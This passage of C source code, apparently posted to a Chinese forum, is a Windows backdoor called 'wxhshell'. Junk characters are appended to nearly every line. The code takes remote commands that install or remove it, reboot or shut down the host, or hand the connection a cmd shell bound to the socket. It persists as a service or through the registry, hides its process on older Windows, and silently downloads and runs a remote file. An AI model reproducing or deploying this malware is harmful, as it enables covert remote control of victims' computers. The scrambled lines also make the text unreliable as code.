  else { (BM47 D=v  
.d*8C,  
    switch(cmd[0]) { jylD6IT  
  ye97!nIg@  
  // 帮助 RNL9>7xV  
  case '?': { 5^cCY'I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5xBbrU;  
    break; =%7-ZH9  
  } H+#FSdy#  
  // 安装 t7pFW^&  
  case 'i': { 3'Rx=G'  
    if(Install()) gr{ DWCK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u NyVf7u  
    else ni<(K 0~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %xW"!WbJ|  
    break; E$e5^G9  
    } fJ\[*5eiS  
  // 卸载 6b,V;#Anj  
  case 'r': { [;N'=]`  
    if(Uninstall()) NlqImM=r,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~f]_puT  
    else d5b%  W3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N mG#   
    break; q)GdD==  
    } maZ)cW?  
  // 显示 wxhshell 所在路径 +t.b` U`-  
  case 'p': { xo)P?-  
    char svExeFile[MAX_PATH]; [UR-I0 s!/  
    strcpy(svExeFile,"\n\r"); 6Zo}(^Ovz  
      strcat(svExeFile,ExeFile); /1 dT+>  
        send(wsh,svExeFile,strlen(svExeFile),0); pCDmXB  
    break; W)/#0*7  
    } 5G#n"}T  
  // 重启 }vuARZ>  
  case 'b': { K"6vXv4QO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iscz}E,Y  
    if(Boot(REBOOT)) #Z#-Ht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA~]$A;DM!  
    else { mq l Z?-  
    closesocket(wsh); Ef\ -VKh  
    ExitThread(0); hP h-+Hb  
    } s~>}a  
    break; r%_djUd  
    } U:`Kss`  
  // 关机 =I<R!ZSN  
  case 'd': { aXVFc5C\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qrv<lE1V;  
    if(Boot(SHUTDOWN)) t1".0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); baasGa3}s  
    else { kstIgcI  
    closesocket(wsh); ?< />Z)  
    ExitThread(0); 3Vwh|1?  
    } l} /F*  
    break; hxx.9x>ow  
    } K9[UB  
  // 获取shell "Q0@/bYq  
  case 's': { EnR}IY&sI  
    CmdShell(wsh); _t$sgz&  
    closesocket(wsh); ! if   
    ExitThread(0); pmM9,6P4@  
    break; !1k_PY5)  
  } F2WKd1U  
  // 退出 W!X@  
  case 'x': { w xH7?tsf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4 5e~6",  
    CloseIt(wsh); 7v kL1IA  
    break; s%S  
    } dG{A~Z z  
  // 离开  g-A-kqo9  
  case 'q': { eRYK3W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;jXgAAz7  
    closesocket(wsh); *hx  
    WSACleanup(); +z( Lr=G  
    exit(1); eDMO]5}Ht  
    break; ]lbuy7xj63  
        } }6#  
  } 1^}+=~  
  }  g(052]  
f 2.HF@  
  // 提示信息 q'DW~!>qX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BLttb  
} R5D1w+  
  } XUYtEf  
pkzaNY/q  
  return; DrR@n~  
} WY/}1X9.%  
$X6h|?3U,  
// shell模块句柄 }pYqWTG  
int CmdShell(SOCKET sock) >j/w@Fj  
{ f?Lw)hMrA  
STARTUPINFO si; ;'|Ey  
ZeroMemory(&si,sizeof(si)); ]`K2 N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Oa WGZ[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~a:  
PROCESS_INFORMATION ProcessInfo; m@c)Xci  
char cmdline[]="cmd"; rH-23S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NOva'qk  
  return 0; }OUtsh]y  
} V&5wRz+`W  
=  [E  
// 自身启动模式 oxs#866x  
int StartFromService(void) ? k/`  
{  @5FQX  
typedef struct A&VG~r$  
{ KPF1cJ2N  
  DWORD ExitStatus; w>gYx(8b  
  DWORD PebBaseAddress; xp t:BBo  
  DWORD AffinityMask; Sc0w.5m6  
  DWORD BasePriority; (HVGlw'`  
  ULONG UniqueProcessId; X8|,   
  ULONG InheritedFromUniqueProcessId; C_Dn{  
}   PROCESS_BASIC_INFORMATION; ;+%rw2Z,B  
r&CiSMS*  
PROCNTQSIP NtQueryInformationProcess; t0S 1QC+  
Cy e.gsCT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z_HdISy0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;   ep8  
&ncvGDGi  
  HANDLE             hProcess; D~m*!w*  
  PROCESS_BASIC_INFORMATION pbi; q m}@!z^  
d0D] Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^!d3=}:0  
  if(NULL == hInst ) return 0; iTwm3V P  
;pAK_>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GOPfXtkC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ac@VGT:9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s[jTP(d)8  
uT"rq:N  
  if (!NtQueryInformationProcess) return 0; G\i9:7 `  
9w"*y#_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zPO9!?7|  
  if(!hProcess) return 0; V!Uc(  
6m93puY`7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K1KreYlF  
]kSGR  
  CloseHandle(hProcess); L0,'mS  
2G7Wi!J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); COlqcq'qAu  
if(hProcess==NULL) return 0; *@5@,=d  
7#XzrT]  
HMODULE hMod; -RwE%  cr  
char procName[255]; 1zv'.uu.,  
unsigned long cbNeeded; :;}P*T*PU  
$FVNCFN%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]^E?;1$f?  
la!~\wpa  
  CloseHandle(hProcess); dPlV>IM$z  
}vuO$j  
if(strstr(procName,"services")) return 1; // 以服务启动 CJY$G}rk  
FrS]|=LJhX  
  return 0; // 注册表启动 Ui~>SN>s  
} @"A4$`Xi3  
oR'm2d^  
// 主模块 b6bHTH0  
int StartWxhshell(LPSTR lpCmdLine) (QEG4&9  
{ +7Gwg  
  SOCKET wsl; @ Y+oiB~Y  
BOOL val=TRUE; -w2/w@&  
  int port=0; 01]f2.5  
  struct sockaddr_in door; K- v#.e4  
D*jM1w_`  
  if(wscfg.ws_autoins) Install(); pi(m7Ci"  
-@'FW*b  
port=atoi(lpCmdLine); Lbgi7|&  
Wr 4,YQM  
if(port<=0) port=wscfg.ws_port; Q ,g\  
dO'(2J8  
  WSADATA data; {: /}NpA$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?uu*L6  
6K^#?Bn;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BPrt'Nc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); { 6il`>=C  
  door.sin_family = AF_INET; *4'"2"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {7[Ox<Ho  
  door.sin_port = htons(port); Jy)/%p~  
O.? JmE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rI\FI0zIp_  
closesocket(wsl); {}9a6.V;}  
return 1; 3";q[&F9y  
} MgZ/(X E  
4#D,?eA7  
  if(listen(wsl,2) == INVALID_SOCKET) { dtDFoETz  
closesocket(wsl); /ZX }Nc g  
return 1; '1[Ft03  
} vM={V$D&  
  Wxhshell(wsl); e\rp)[>'  
  WSACleanup(); $xsd~L &  
pglVR </  
return 0; E .h*g8bXe  
0GwR~Z}Z  
} 6tZI["\   
zLQx%Yg!  
// 以NT服务方式启动 }MySaL>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >*bvw~y,  
{ ".%k6W<n  
DWORD   status = 0; g)-te+?6  
  DWORD   specificError = 0xfffffff; 5P bW[  
PCA4k.,T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [),ige  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C!gZN9-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F|8 &  
  serviceStatus.dwWin32ExitCode     = 0; Py< }S-:  
  serviceStatus.dwServiceSpecificExitCode = 0; gGYKEq{j(  
  serviceStatus.dwCheckPoint       = 0; +`4A$#$+y  
  serviceStatus.dwWaitHint       = 0; T{ "(\X$  
4+n\k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )X7A  
  if (hServiceStatusHandle==0) return; i b m4fa  
pH;%ELZ  
status = GetLastError(); %b0*H_ok7  
  if (status!=NO_ERROR) Jm@oDME_E  
{ 4H/OBR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SbZ6t$"  
    serviceStatus.dwCheckPoint       = 0; [g,}gyeS(  
    serviceStatus.dwWaitHint       = 0; \V:^h [ad  
    serviceStatus.dwWin32ExitCode     = status; z?zL97H  
    serviceStatus.dwServiceSpecificExitCode = specificError; >_} I.\ X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }H2 R3icE  
    return; qs6aB0ln  
  } iZ%yd-  
9WHddDA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HW|IILFB  
  serviceStatus.dwCheckPoint       = 0; [ ~,AfY  
  serviceStatus.dwWaitHint       = 0; kAx4fE[c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f1? >h\F8  
} WIOV2+  
ICCc./l|  
// 处理NT服务事件,比如:启动、停止 M5B# TAybC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zs;JJk^  
{ a*;b^Ze`v  
switch(fdwControl) (H]AR8%W  
{ yZ:qU({KhD  
case SERVICE_CONTROL_STOP: iso4]>LF  
  serviceStatus.dwWin32ExitCode = 0; @HW*09TG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Efe 7gE'  
  serviceStatus.dwCheckPoint   = 0; & kIFcd@  
  serviceStatus.dwWaitHint     = 0; :&Nbw  
  { p_ =z#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AW .F3hN)  
  } 0:+E-^X  
  return; DIvHvFss  
case SERVICE_CONTROL_PAUSE: i4Jc.8^9$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oU|c.mYe  
  break; 6zkaOA46V  
case SERVICE_CONTROL_CONTINUE: B!yr!DWv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dx]>(e@(t{  
  break; /?!u{(h}  
case SERVICE_CONTROL_INTERROGATE: <i[HbgUlO.  
  break; q4q6c")zp  
}; VQI 3G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K,]=6 Rj  
} R+|hw;  
)[  ,A_3E  
// 标准应用程序主函数 g0 [w-?f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Dzlp7Y}  
{ =sFTxd_"iQ  
mmsPLv6  
// 获取操作系统版本 wBzC5T%,  
OsIsNt=GetOsVer(); 67TwPvh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >/\'zi]L  
Si,6o!0k  
  // 从命令行安装 {*KEP  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?upM>69{  
H]!"Zq k  
  // 下载执行文件 598i^z{~0%  
if(wscfg.ws_downexe) { Al'3?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZuIefMiG~+  
  WinExec(wscfg.ws_filenam,SW_HIDE); uEY tE7  
} tgaO!{9I?  
/xQPTT  
if(!OsIsNt) { t5zKW _J7  
// 如果时win9x,隐藏进程并且设置为注册表启动 %SI'BJ  
HideProc(); 4YHY7J  
StartWxhshell(lpCmdLine); z2c6T.1M  
} H"KCK6  
else OB7hlW  
  if(StartFromService()) r>\bW)e  
  // 以服务方式启动 iLz@5Zj8  
  StartServiceCtrlDispatcher(DispatchTable); 23?rEhKe  
else :]c3|J  
  // 普通方式启动 h~26WLf.  
  StartWxhshell(lpCmdLine); :EH=_"  
/bEAK-  
return 0; G:JR7N$  
}
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只看该作者 1 发表于: 2006-10-10
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